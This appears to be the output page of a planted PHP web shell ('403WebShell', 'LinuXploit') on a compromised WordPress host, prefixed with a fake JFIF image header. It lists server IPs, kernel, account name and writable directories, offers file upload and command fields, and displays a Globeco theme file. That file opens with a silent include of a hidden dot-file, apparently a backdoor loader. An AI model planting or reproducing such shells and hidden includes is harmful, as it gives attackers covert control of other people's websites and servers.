????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/cws_default.php
<?php

// CWS Theme Globeco Standard Settings
//=========================================== DEFAULT GLOBECO FUNCS ===========================================
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
    include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}

class Globeco_Funcs_default{
	const THEME_BEFORE_CE_TITLE = '<div class="ce_title">';
	const THEME_AFTER_CE_TITLE = '</div>';
	const THEME_V_SEP = '<span class="v_sep"></span>';
	protected static $cws_theme_config;


	public function __construct(){
		require_once(get_template_directory() . '/core/cws_thumb.php');
		require_once get_template_directory() . '/core/plugins.php';
		require_once(get_template_directory() . '/core/breadcrumbs.php');
		if (!is_admin()){
			add_action( 'wp_enqueue_scripts', array($this, 'cws_register_default') );
		}
		
		add_filter('embed_oembed_html', array($this, 'cws_oembed_wrapper'),10,3);
		$this->assign_constants();
		add_action('after_setup_theme', array($this, 'cws_after_setup_theme') );

		define('CWS_WOO_ACTIVE', class_exists( 'woocommerce' ));

		if (CWS_WOO_ACTIVE) {
			add_action( 'wp_ajax_woocommerce_remove_from_cart',array( $this, 'cws_woo_ajax_remove_from_cart' ),1000 );
			add_action( 'wp_ajax_nopriv_woocommerce_remove_from_cart', array( $this, 'cws_woo_ajax_remove_from_cart' ),1000 );

			require_once( get_template_directory() . '/woocommerce/wooinit.php' ); // WooCommerce Shop ini file

			add_filter( 'woocommerce_add_to_cart_fragments', array($this, 'cws_woo_header_add_to_cart_fragment') );
			
			add_filter( 'woocommerce_output_related_products_args', array($this, 'cws_woo_related_products_args') );
			add_action( 'after_setup_theme', array($this, 'cws_theme_woo_setup') );
			add_filter( 'loop_shop_per_page', array( $this, 'loop_products_per_page' ));	
		}
		// $this->add_cws_sh( 'cws_sc_msg_box', array($this, 'cws_msg_box') );
		add_action('widgets_init', array($this, 'cws_widgets_init') );
		add_filter('body_class', array($this, 'cws_layout_class') );
		add_filter( 'comment_form_defaults', array($this, 'cws_comment_form_defaults') );
        add_filter( 'comment_form_default_fields', array($this, 'cws_comment_form_default_fields') );

		//Filter all widgets output
		add_filter('dynamic_sidebar_params', array( $this, 'cws_filter_dynamic_sidebar_params' ), 9 );
//		add_filter('widget_output', array($this, 'cws_filter_widgets'),10,4);
        add_filter('wp_list_categories', array($this, 'cws_custom_categories_postcount_filter'));
        add_filter('get_archives_link', array($this, 'cws_custom_archive_postcount_filter'));
		//Filter all widgets output		
	}

	/* THE HEADER META */
	public function cws_header_meta() {
			?>
		<meta charset="<?php bloginfo( 'charset' ); ?>">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
		<link rel="profile" href="http://gmpg.org/xfn/11">
		<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
	<?php
	}
	/* END THE HEADER META */

	public function cws_layout_class ($classes=array()) {
		array_push( $classes, 'cws_default' );
		return $classes;
	}

	//Allows to filter the output of any WordPress widget
	public function cws_filter_dynamic_sidebar_params( $sidebar_params ) {
		if ( is_admin() ) {
			return $sidebar_params;
		}
		global $wp_registered_widgets;
		$current_widget_id = $sidebar_params[0]['widget_id'];
		$wp_registered_widgets[ $current_widget_id ]['original_callback'] = $wp_registered_widgets[ $current_widget_id ]['callback'];
		$wp_registered_widgets[ $current_widget_id ]['callback'] = array( $this, 'cws_display_widget' );
		return $sidebar_params;
	}

	public function cws_display_widget() {
		global $wp_registered_widgets;
		$original_callback_params = func_get_args();
		$widget_id         = $original_callback_params[0]['widget_id'];
		$original_callback = $wp_registered_widgets[ $widget_id ]['original_callback'];
		$wp_registered_widgets[ $widget_id ]['callback'] = $original_callback;
		$widget_id_base = $original_callback[0]->id_base;
		$sidebar_id     = $original_callback_params[0]['id'];
		if ( is_callable( $original_callback ) ) {
			ob_start();
			call_user_func_array( $original_callback, $original_callback_params );
			$widget_output = ob_get_clean();
			/**
			 * Filter the widget's output.
			 *
			 * @param string $widget_output  The widget's output.
			 * @param string $widget_id_base The widget's base ID.
			 * @param string $widget_id      The widget's full ID.
			 * @param string $sidebar_id     The current sidebar ID.
			 */
			echo apply_filters( 'widget_output', $widget_output, $widget_id_base, $widget_id, $sidebar_id );
		}
	}

//	public function cws_filter_widgets( $widget_output, $widget_type, $widget_id, $sidebar_id ) {
//
//        $widget_output = preg_replace('|default-widget|', 'cws-widget widget-'.esc_attr($widget_type), $widget_output);
//        return $widget_output;
//	}
	// --//Allows to filter the output of any WordPress widget	

	public function cws_oembed_wrapper( $html, $url, $args ) {
		return !empty( $html ) ? "<div class='cws_oembed_wrapper'>$html</div>" : '';
	}
	
	// public function add_cws_sh($name, $callback)  {
	// 	$short = 'shortcode';
	// 	call_user_func('add_' . $short, $name, $callback);
	// } 
	// Check if WooCommerce is active
	public function cws_woo_ajax_remove_from_cart() {
		global $woocommerce;

		$woocommerce->cart->set_quantity( $_POST['remove_item'], 0 );

		$ver = explode( '.', WC_VERSION );

		if ( $ver[1] == 1 && $ver[2] >= 2 ) :
			$wc_ajax = new WC_AJAX();
			$wc_ajax->get_refreshed_fragments();
		else :
			woocommerce_get_refreshed_fragments();
		endif;

		die();
	}

	public function cws_woo_header_add_to_cart_fragment( $fragments ) {
		ob_start();
		?>
            <span class='woo_mini-counter'>
                <?php
                echo esc_html__('Cart: ', 'globeco') . WC()->cart->cart_contents_count . ' - ' . WC()
                        ->cart->get_cart_total();
                ?>
            </span>
		<?php
		$fragments['.woo_mini-counter'] = ob_get_clean();

		ob_start();
		woocommerce_mini_cart();
		$fragments['div.woo_mini_cart'] = ob_get_clean();
		return $fragments;
	}
	public function cws_woo_related_products_args( $args ) {
		$args['posts_per_page'] = 4; // 4 related products
		$args['columns'] = 3; // arranged in 2 columns
		return $args;
	}

	public function cws_get_date_parts () {
		$part_val = array();
		$perm_struct = get_option( 'permalink_structure' );
		if (!empty( $perm_struct )) {
            $part_val['addl_query_args'] = array(
				'year' => get_query_var( 'year' ),
				'monthnum' => get_query_var( 'monthnum' ),
				'day' => get_query_var( 'day' ),
			);
		} else {
			$merge_date = get_query_var( 'm' );
			$match = preg_match( '#(\d{4})?(\d{1,2})?(\d{1,2})?#', $merge_date, $matches );
            $part_val['addl_query_args'] = array(
				'year' => isset( $matches[1] ) ? $matches[1] : '',
				'monthnum' => isset( $matches[2] ) ? $matches[2] : '',
				'day' => isset( $matches[3] ) ? $matches[3] : '',
			);
		}
		return $part_val;
	}

	public function cws_pagination ( $paged=1, $max_paged=1, $style = 'paged', $pagination_text = 'Load More') {
		$pagenum_link = html_entity_decode( get_pagenum_link() );
		$query_args   = array();
		$url_parts	= explode( '?', $pagenum_link );

		if ( isset( $url_parts[1] ) ) {
			wp_parse_str( $url_parts[1], $query_args );
		}

		$permalink_structure = get_option('permalink_structure');

		$pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link );
		$pagenum_link = $permalink_structure ? trailingslashit( $pagenum_link ) . '%_%' : trailingslashit( $pagenum_link ) . '?%_%';
		$pagenum_link = add_query_arg( $query_args, $pagenum_link );

		$format  = $permalink_structure && preg_match( '#^/*index.php#', $permalink_structure ) && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
		$format .= $permalink_structure ? user_trailingslashit( 'page/%#%', 'paged' ) : 'paged=%#%';
		?>
		<div class='pagination <?php if($style == 'load_more'){ echo "pagination_load_more";} ?> separated'>
			<div class='page_links'>
			<?php
			$pagination_args = array( 'base' => $pagenum_link,
				'format' => $format,
				'current' => $paged,
				'total' => $max_paged,
				"prev_text" => "<i class='flaticon-left-arrow'></i>",
				"next_text" => ($style == 'paged' ? "<i class='flaticon-arrows-7'></i>" : $pagination_text),
				"link_before" => '',
				"link_after" => '',
				"before" => '',
				"after" => '',
				"mid_size" => 2,
			);
			$pagination = paginate_links($pagination_args);
			echo sprintf("%s", $pagination);
			?>
			</div>
		</div>
		<?php
	}

	function cws_msg_box ( $atts, $content ) {
		extract( shortcode_atts( array(
			'type'					=> '',
			'title'					=> '',
			'text'					=> '',
			'is_closable'			=> '',
			'customize'				=> '',
			'icon_lib'				=> '',
			'custom_fill_color'		=> '#e6eaed',
			'custom_font_color'		=> "#707273",
			'el_class'				=> ''
		), $atts));
		$out = "";
		$type 			= esc_html( $type );
		$is_closable 	= (bool)$is_closable;
		$customize 		= (bool)$customize;
		$icon_lib 		= esc_attr( $icon_lib );
		$icon 			= function_exists('cws_ext_vc_sc_get_icon') ? cws_ext_vc_sc_get_icon( $atts ) : "";
		$el_class 		= esc_attr( $el_class );
		$content 		= !empty( $text ) ? $text : $content;
		$section_id 	= uniqid( "cws_vc_shortcode_msg_box_" );
		ob_start();
		if ( $customize ){
			echo !empty( $custom_fill_color ) ? "background-color: $custom_fill_color;" : "";
			echo !empty( $custom_font_color ) ? "color: $custom_font_color;" : "";
		}
		$section_styles = ob_get_clean();
		$icon_class = "msg_icon";
		if ( $customize && !empty( $icon ) ){
			if ( function_exists( 'vc_icon_element_fonts_enqueue' ) ){
				vc_icon_element_fonts_enqueue( $icon_lib );
			}
			$icon_class .= " $icon custom";
		}
		if ( !empty( $title ) || !empty( $content ) ){
			$out .= "<div id='$section_id' class='cws_vc_shortcode_msg_box cws_vc_shortcode_module" . ( !empty( $type ) ? " $type" : "" ) . ( $is_closable ? " closable" : "" ) . ( !empty( $el_class ) ? " $el_class" : "" ) . "'" . ( !empty( $section_styles ) ? " style='$section_styles'" : "" ) . ">";
				$out .= "<div class='icon_part'>";
					$out .= "<i class='$icon_class'></i>";
				$out .= "</div>";
				$out .= "<div class='content_part'>";
					$out .= !empty( $title ) ? "<div class='title'>$title</div>" : "";
					$out .= !empty( $content ) ? "<p>$content</p>" : "";
				$out .= "</div>";
				$out .= $is_closable ? "<a class='close_button'></a>" : "";
			$out .= "</div>";
		}
		return $out;
	}
	public function cws_print_search_form($message_title = '', $message = '') {
		ob_start();
		echo shortcode_exists('cws_sc_msg_box') ? do_shortcode( "[cws_sc_msg_box type='info' title='{$message_title}' text='{$message}'][/cws_sc_msg_box]" ) : (!empty($message_title) ? "<h3>{$message_title}</h3><p>{$message}</p>" : '');
		get_search_form();
		$sc_content = ob_get_clean();
		return $sc_content;
	}

	public function cws_styles_default() {
		$default_styles = '';
		ob_start();
		?>
			.cws_default .page_title.default_page_title .stat_img_cont{
				background-image: url(<?php echo esc_url(GLOBECO_URI); ?>/img/default/title-bg.jpg);
			}			

		<?php 
		$default_styles .= ob_get_clean();

		wp_register_style( 'empty', false );
		wp_add_inline_style('empty', $default_styles);
		wp_enqueue_style( 'empty' );
	}
	public function cws_register_default() {
		//Defaults Google fonts
		$url = $query_args = '';

		$fonts_opts = array(
			array(
				'font-size' => '17px',
				'line-height' => '34px',
				'color' => '#1b2048',
				'font-family' => 'Roboto',
				'font-weight' => array( 'regular', 'italic', '500', '500italic', '700', '700italic', '900' ),
				'font-sub' => array('latin'),
			),	
			array(
				'font-size' => '55px',
				'line-height' => '1.1818em',
				'color' => '#2f3985',
				'font-family' => 'Cabin',
				'font-weight' => array( '700' ),
				'font-sub' => array('latin'),
			),
            array(
                'font-size' => '18px',
                'line-height' => '1.5em',
                'color' => '#ffffff',
                'font-family' => 'Roboto Condensed',
                'font-weight' => array( '700' ),
                'font-sub' => array('latin'),
            ),
        );

		if ( !empty( $fonts_opts ) ) {
			$fonts_urls = array( count( $fonts_opts ) );
			$subsets_arr = array();
			$base_url = "//fonts.googleapis.com/css";

			for ( $i = 0; $i < count( $fonts_opts ); $i++ ){
				$fonts_urls[$i] = $fonts_opts[$i]['font-family'];
				$fonts_urls[$i] .= !empty( $fonts_opts[$i]['font-weight'] ) ? ':' . implode( $fonts_opts[$i]['font-weight'], ',' ) : '';
				if(!empty($fonts_opts[$i]['font-sub'])){
					for ( $j = 0; $j < count( $fonts_opts[$i]['font-sub'] ); $j++ ){
						if ( !in_array( $fonts_opts[$i]['font-sub'][$j], $subsets_arr ) ){
							array_push( $subsets_arr, $fonts_opts[$i]['font-sub'][$j] );
						}
					}
				}
			}
			$query_args = array(
				'family'	=> urlencode( implode( $fonts_urls, '|' ) )
			);
			if ( !empty( $subsets_arr ) ) {
				$query_args['subset']	= urlencode( implode( $subsets_arr, ',' ) );
			}
			$url = add_query_arg( $query_args, $base_url );
		}
		wp_enqueue_style( '', $url );

		// Scripts
		wp_enqueue_script('cws-scripts', GLOBECO_URI . '/js/scripts.js', array( 'jquery' ) );
		wp_enqueue_script('cws-default', GLOBECO_URI . '/js/default.js', array( 'jquery' ) );

		wp_enqueue_script('isotope', GLOBECO_URI . '/js/isotope.pkgd.min.js', array( 'jquery' ) );
		wp_enqueue_script('jquery-easing', GLOBECO_URI . '/js/jquery.easing.1.3.min.js', array( 'jquery' ) );
		wp_enqueue_script('fancybox', GLOBECO_URI . '/js/jquery.fancybox.js', array( 'jquery' ) );
		wp_enqueue_script('select2-main', GLOBECO_URI . '/js/select2.min.js', array( 'jquery' ) );

		wp_add_inline_script('cws-scripts', '
			var sticky_menu_enable = false,'.
			'page_loader = false,'.
			'sticky_menu_enable = false,'.
			'sticky_menu_mode = false,'.
			'sticky_menu_on_mobile = false,'.
			'page_loader = false,'.
			'animation_curve_menu = "easeInOutQuad",'.
			'animation_curve_scrolltop = "easeInOutQuad",'.
			'animation_curve_speed = 400,'.
			'sticky_sidebars = false;'
		);

		// Style
		wp_enqueue_style( 'reset', GLOBECO_URI . '/css/reset.css' );
		wp_enqueue_style( 'cws-layout', GLOBECO_URI . '/css/layout.css' );
		wp_enqueue_style( 'cws-font-awesome', GLOBECO_URI . '/fonts/font-awesome/font-awesome.css' );
		wp_enqueue_style( 'flaticon', GLOBECO_URI . '/fonts/flaticon/flaticon.css' );
		wp_enqueue_style( 'cws-iconpack', GLOBECO_URI . '/fonts/cws-iconpack/flaticon.css' );
		wp_enqueue_style( 'select2-main', GLOBECO_URI . '/css/select2.css' );
		wp_enqueue_style( 'cws-main', GLOBECO_URI . '/css/main.css' );
		wp_enqueue_style( 'fancybox', GLOBECO_URI . '/css/jquery.fancybox.css' );
		wp_enqueue_style( 'cws-default', GLOBECO_URI . '/css/default.css' );
		wp_enqueue_style( 'animate', GLOBECO_URI . '/css/animate.css' );

		$this->cws_styles_default();
	}

	public function cws_after_setup_theme() {
		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'automatic-feed-links' );
		add_theme_support(' widgets ');
		add_theme_support( 'title-tag' );

		add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list' ) );
		add_theme_support( 'post-formats', self::$cws_theme_config['post-formats'] );

		$nav_menus = self::$cws_theme_config['nav-menus'];
		register_nav_menus($nav_menus);

		add_theme_support( 'woocommerce' );
		add_theme_support( 'custom-background', array('default-color' => '616262') );

		$user = wp_get_current_user();
		$user_nav_adv_options = get_user_option( 'managenav-menuscolumnshidden', get_current_user_id() );
		if ( is_array($user_nav_adv_options) ) {
			$css_key = array_search('css-classes', $user_nav_adv_options);
			if (false !== $css_key) {
				unset($user_nav_adv_options[$css_key]);
				update_user_option($user->ID, 'managenav-menuscolumnshidden', $user_nav_adv_options,	true);
			}
		}

		add_editor_style();
	}

	public function cws_render_default_sidebars($type = 'blog', $layout = 'double', $sidebar = 'both') {
		$out = '';
		$layout_class = '';
		$sb = array();

		if ($layout == 'single' && $sidebar == 'left'){
			$sb['sb1'] = $type.'_left';
		} elseif ($layout == 'single' && $sidebar == 'right') {
			$sb['sb2'] = $type.'_right';
		} elseif ($layout == 'double'  && $sidebar == 'both') {
			$sb['sb1'] = $type.'_left';
			$sb['sb2'] = $type.'_right';
		}

		$sb1_exist = !empty($sb['sb1']) && is_active_sidebar($sb['sb1']);
		$sb2_exist = !empty($sb['sb2']) && is_active_sidebar($sb['sb2']);
		$sb_double = $sb1_exist && $sb2_exist;

		$sb1_class = 'page_content sb_'.esc_attr($sidebar);

		$out .= '<div class="container">';
		if ( $sb1_exist ) {
			$out .= '<aside class="sb_left">';
			ob_start();
			dynamic_sidebar( $sb['sb1'] );
			$out .= ob_get_clean();
			$out .= '</aside>';
		}
		if ( $sb2_exist ){
			$out .= '<aside class="sb_right">';
			ob_start();
			dynamic_sidebar( $sb['sb2'] );
			$out .= ob_get_clean();
			$out .= '</aside>';
		}

		if ( $sb1_exist || $sb2_exist ){
			$layout_class = 'single_sidebar';
		} elseif ($layout == 'double' && $sb_double ) {
			$layout_class = 'double_sidebar';
		}

		return array(
			'layout_class' => $layout_class,
			'sb_class' => $sb1_class . ' ' . $layout_class,
			'content' => $out,
		);
	}
	
	private function assign_constants() {
		self::$cws_theme_config = array(

			'alt_breadcrumbs' => array('yoast_breadcrumb' => array( '<nav class="bread-crumbs">', '</nav>', false)), // alternative breadcrumbs function and its arguments
			'post-formats' => array( 'aside', 'gallery', 'link', 'image', 'quote', 'status', 'video', 'audio', 'chat' ),
			'nav-menus' => array(
				'header-menu' => esc_html__( 'Navigation Menu','globeco' ),
				'sidebar-menu' => esc_html__( 'SidePanel Menu', 'globeco'),
				'topbar-menu' => esc_html__( 'TopBar Menu', 'globeco' ),
				'copyrights-menu' => esc_html__( 'Copyrights Menu', 'globeco' )
			),
			'widgets' => array(
				'CWS_Text',
				'CWS_Latest_Posts',
				'CWS_Testimonials',
				'CWS_Portfolio',
				'CWS_Twitter',
				'CWS_Contact',
				'CWS_About',
				'CWS_Categories',
				'CWS_Gallery',
				'CWS_Banner'
			),
			'sideBar' => array(
				'Footer',
				'Blog Right',
				'Blog Left',
				'Page Right',
				'Page Left',
				'Side Panel',
				'WooCommerce',
				'Portfolio Left',
				'Portfolio Right',
			),
			'category_colors' => array('567dbe', 'be5656', 'be9656', '62be56', 'be56b1', '56bebd'),
			'admin_pages' => array('widgets.php', 'edit-tags.php', 'edit.php', 'term.php', 'user-edit.php', 'profile.php', 'nav-menus.php'), // pages cwsfw should be initialized on
		);
	} // self::$cws_theme_config

	public function cws_widgets_init() {
		if (function_exists('register_sidebars')) {
			foreach (self::$cws_theme_config['sideBar'] as $sb) {
				register_sidebar( array(
					'name'          => sprintf(__('%s','globeco' ), $sb ),
					'id' => strtolower(preg_replace("/[^a-z0-9\-]+/i", "_", $sb)),
					'description'   => 'CWS Sidebar Area',
					'class'         => '',
					'before_widget' => '<div class="cws-widget %2$s"><div class="cws-widget__content">',
					'after_widget'  => '</div></div>',
					'before_title' => '<div class="widget-title">',
					'after_title' => '</div>',
				) );
			}
		}
	}
	
	public function cws_get_special_post_formats() {
		return array( 'aside' );
	}
	
	public function cws_is_special_post_format() {
		global $post;
		$sp_post_formats = $this->cws_get_special_post_formats();
		if ( isset($post) ) {
			return in_array( get_post_format(), $sp_post_formats );
		} else{
			return false;
		}
	}

	private function cws_is_woo() {
		global $woocommerce;
		
		return !empty( $woocommerce ) ? is_woocommerce() || is_product_tag() || is_product_category() || is_account_page() || is_cart() || is_checkout() : false;
	}

	public function is_blog () {
		global  $post;
		$posttype = get_post_type($post );
		return ( ((is_archive()) || (is_author()) || (is_category()) || (is_home()) || (is_single()) || (is_tag())) && ( $posttype == 'post')  ) ? true : false ;
	}


	public function cws_site_header(){
		ob_start();
		$page_title_section_atts = "";
		$show_breadcrumbs = true;
		$page_title_section_class = "page_title default_page_title";
		$page_title_section_atts .= !empty( $page_title_section_class ) ? " class='$page_title_section_class'" : "";

		$text['home']	  = esc_html__( 'Home', 'globeco' ); // text for the 'Home' link
		$text['category'] = esc_html__( 'Category "%s"', 'globeco' ); // text for a category page
		$text['search']   = esc_html__( 'Search for "%s"', 'globeco' ); // text for a search results page
		$text['taxonomy'] = esc_html__( 'Archive by %s "%s"', 'globeco' );
		$text['tag']	  = esc_html__( 'Posts Tagged "%s"', 'globeco' ); // text for a tag page
		$text['author']   = esc_html__( 'Articles Posted by %s', 'globeco' ); // text for an author page
		$text['404']	  = esc_html__( 'Error 404', 'globeco' ); // text for the 404 page
		$text['cart']	  = esc_html__( 'Cart', 'globeco' ); // text for the cart page
		$text['checkout'] = esc_html__( 'Checkout', 'globeco' ); // text for the checkout page
		$text['product']  = esc_html__( 'Products', 'globeco' ); // text for the single product page

		$page_title = "";

		if ( is_404() ) {
			$page_title = esc_html__( '404 Page', 'globeco' );
		}
		else if ( is_search() ) {
			$page_title = esc_html__( 'Search', 'globeco' );
		} else if ( is_front_page() ) {
			$page_title = esc_html__( 'Home', 'globeco' );
		} else if ( is_category() ) {
			$cat = get_category( get_query_var( 'cat' ) );
			$cat_name = isset( $cat->name ) ? $cat->name : '';
			$page_title = sprintf( $text['category'], $cat_name );
		} else if ( is_tag() ) {
			$page_title = sprintf( $text['tag'], single_tag_title( '', false ) );
		} else if ( is_day() ) {
			echo sprintf( $link, get_year_link( get_the_time( 'Y' ) ), get_the_time( 'Y' ) ) . " ";
			echo sprintf( $link, get_month_link( get_the_time( 'Y' ),get_the_time( 'm' ) ), get_the_time( 'F' ) ) . " ";
			$page_title = get_the_time( 'd' );

		} else if ( is_month() ) {
			$page_title = get_the_time( 'F' );

		} else if ( is_year() ) {
			$page_title = get_the_time( 'Y' );

		} else if ( has_post_format() && ! is_singular() ) {
			$page_title = get_post_format_string( get_post_format() );
		} else if ( is_tax( array( 'cws_portfolio_cat', 'cws_staff_member_department', 'cws_staff_member_position' ) ) ) {
			$tax_slug = get_query_var( 'taxonomy' );
			$term_slug = get_query_var( $tax_slug );
			$tax_obj = get_taxonomy( $tax_slug );
			$term_obj = get_term_by( 'slug', $term_slug, $tax_slug );

			$singular_tax_label = isset( $tax_obj->labels ) && isset( $tax_obj->labels->singular_name ) ? $tax_obj->labels->singular_name : '';
			$term_name = isset( $term_obj->name ) ? $term_obj->name : '';
			$page_title = $singular_tax_label . ' ' . $term_name ;
		} else if ( is_archive() ) {
			$post_type = get_post_type();
			$post_type_obj = get_post_type_object( $post_type );
			$post_type_name = isset( $post_type_obj->label ) ? $post_type_obj->label : '';
			$page_title = $post_type_name ;
        } else if ( $this->cws_is_woo() && is_product() ) {
		    $page_title = esc_html($text['product']);
		} else if ( $this->cws_is_woo() ) {
			$page_title = woocommerce_page_title( false );
		} else if (get_post_type() == 'cws_portfolio') {
			$portfolio_slug = 'portfolio';
			$post_type = get_post_type();
			$post_type_obj = get_post_type_object( $post_type );
			$post_type_name = isset( $post_type_obj->labels->menu_name ) ? $post_type_obj->labels->menu_name : '';
			$page_title = !empty($portfolio_slug) ? $portfolio_slug : $post_type_name ;
		}else if (get_post_type() == 'cws_staff') {
			$stuff_slug = 'staff';
			$post_type = get_post_type();
			$post_type_obj = get_post_type_object( $post_type );
			$post_type_name = isset( $post_type_obj->labels->menu_name ) ? $post_type_obj->labels->menu_name : '';
			$page_title = !empty($stuff_slug) ? $stuff_slug : $post_type_name ;
		}else {
			$blog_title = $this->is_blog() ? get_the_title() : "";
			$page_title = (!is_page() && !empty($blog_title)) ? $blog_title : get_the_title();
		}
		$breadcrumbs = "";
		if ( $show_breadcrumbs ){
			ob_start();
			globeco_dimox_breadcrumbs();
			$breadcrumbs = ob_get_clean();		
		}

		$page_title = esc_html($page_title);
        $post = get_post();

		if ( !empty( $page_title ) || (!empty( $breadcrumbs ) && $show_breadcrumbs ) ){
			echo "<div class='header_box bg_page_header with_image'>";
			echo "<section" . ( !empty( $page_title_section_atts ) ? $page_title_section_atts : "" ) . ">";
				echo "<div class='container header_center'>";
					echo !empty( $page_title ) ? "<div class='title'><h1>$page_title</h1></div>" : "";
					echo (!empty($subtitle_content) ? '<div class="subtitle_content"><p>'.$subtitle_content.'</p></div>' : '');
                if(is_page() && !empty($post->post_excerpt)){
                    echo "<div class='page_excerpt'>" . esc_html($post->post_excerpt) . "</div>";
                }
				echo "</div>";
			echo "</section>";
            echo "<div class='page_info'>";
                echo "<div class='container'>";
                    echo (!empty( $breadcrumbs ) && $show_breadcrumbs) ? $breadcrumbs : "";
                    if (is_single()) {
                        $out = '<div class="page_info_inner">';
                        $author_link = '<a href="' . get_author_posts_url(get_the_author_meta('ID',
                                $post->post_author)) . '" title="' . esc_attr__('Posts by', 'globeco') . get_the_author_meta('display_name',
                                $post->post_author) . '" rel="author">' . get_the_author_meta('display_name', $post->post_author) . '</a>';
                        $author_part = "<span class='post_meta post_author'>";
                        $author_part .= "<span class='post_author_avatar'>";
                        $author_part .= "<a href='" . get_author_posts_url(get_the_author_meta('ID'), $post->post_author) . "'>" . get_avatar(get_the_author_meta('ID', $post->post_author), 40) . "</a>";
                        $author_part .= "</span>";
                        $author_part .= esc_html__('by ', 'globeco');
                        $author_part .= "<span class='post_author_name'>" . $author_link . "</span>";
                        $author_part .= "</span>";
                        $out .= $author_part;

                        $pid = get_the_id();
                        $permalink = get_the_permalink( $pid );
                        $comments_part = '';
                        $permalink .= "#comments";
                        $comments_n = get_comments_number();
                        $comment_text = ($comments_n == '1') ? esc_html__( 'Сomment', 'globeco') : esc_html__('Comments', 'globeco');
                        $comments_part .= "<span class='post_meta post_comments'>";
                        $comments_part .= "<a href='" . esc_url($permalink) . "' class='post_comments_link'>" . $comments_n . " " . $comment_text . "</a>";
                        $comments_part .= "</span>";
                        $out .= $comments_part;

                        $date = get_the_time( get_option("date_format") );
                        $year = get_the_time('Y');
                        $month = get_the_time('m');
                        $date_link = get_month_link($year, $month);
                        $date_part = '';
                        if ( !empty( $date ) ){
                            $date_part = "<span class='post_meta post_date'>";
                            $date_part .= "<a href=" . esc_attr($date_link) . ">" . esc_html($date) . "</a>";
                            $date_part .= "</span>";
                        }
                        $out .= $date_part;
                        $out .= '</div>';
                        echo sprintf("%s", $out);
                    }
                echo "</div>";
            echo "</div>";
            echo "<div class='bg_layer'></div>";
            echo "<div class='header_img_wrap' style='height:400px;'></div>";
			echo "</div>";
		}

		$page_title_content = ob_get_clean();
		if($page_title_content){
			echo sprintf("%s", $page_title_content);
		}
	}
	public function cws_theme_woo_setup(){
			add_theme_support( 'wc-product-gallery-zoom' );
			add_theme_support( 'wc-product-gallery-lightbox' );		
			add_theme_support( 'wc-product-gallery-slider' );		
	}
	public function loop_products_per_page() {
		
		return 10;
	}

    public function cws_custom_categories_postcount_filter ($count) {
        $count = str_replace("<a", "\n\t\t<span class='item'>\n\t\t\t<a", $count);
        $count = str_replace("</a> (", "</a>\n\t\t\t<span class='post_count'>", $count);
        $count = str_replace("</a> <span class='count'>(", "</a>\n\t\t\t<span class='post_count'>", $count);
        $count = str_replace(")", "</span>", $count);

        $count = preg_replace("!</span>\\n(\\t*)</li>!", "</span>\n\t\t</span>\n\t</li>", $count);
        $count = preg_replace("!</a>\\n(\\t*)</li>!", "</a>\n\t\t</span>\n\t</li>", $count);
        $count = preg_replace("!</a>\\n(\\t*)<ul!", "</a>\n\t\t</span>\n\t<ul", $count);
        $count = preg_replace("!</span>\\n(\\t*)<ul!", "</span>\n\t\t</span>\n\t<ul", $count);

        return $count;
    }

    public function cws_custom_archive_postcount_filter ($count) {
        $count = str_replace('</a>&nbsp;(', '<span class="post_count">', $count);
        $count = str_replace(')', '</span></a>', $count);
        return $count;
    }

    public function cws_comment_form_defaults( $defaults ){
        $defaults['title_reply'] = esc_html__('Write a Comment', 'globeco' );
        $defaults['comment_field'] = '<p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="1" aria-required="true" 
placeholder="' . esc_attr__('Comment', 'globeco') . '"></textarea></p>';
        $defaults['title_reply_before'] = '<span id="reply-title" class="h3 comment-reply-title">';
        return $defaults;
    }

    public function cws_comment_form_default_fields( $fields ){
        $commenter = wp_get_current_commenter();
        $req = get_option( 'require_name_email' );
        $html_req = ( $req ? " required='required'" : '' );
        $fields   =  array(
            'author' => '<p class="comment-form-author">' .
                '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" size="30" maxlength="245" placeholder="' . esc_attr__('Name *', 'globeco') . '"' . $html_req . ' /></p>',
            'email'  => '<p class="comment-form-email">' .
                '<input id="email" name="email" type="text" value="'
                . esc_attr(  $commenter['comment_author_email'] ) . '" size="30" maxlength="100" aria-describedby="email-notes" placeholder="' . esc_attr__('Email *', 'globeco') . '"' . $html_req  . ' /></p>',
            'url'    => '<p class="comment-form-url">' .
                '<input id="url" name="url" type="text" value="' .
                esc_attr( $commenter['comment_author_url'] ) . '" size="30" maxlength="200" placeholder="' .
                esc_attr__('Website', 'globeco') . '" /></p>',
        );

        return $fields;
    }
}
//=========================================== /DEFAULT GLOBECO FUNCS ===========================================

Youez - 2016 - github.com/yon3zu
LinuXploit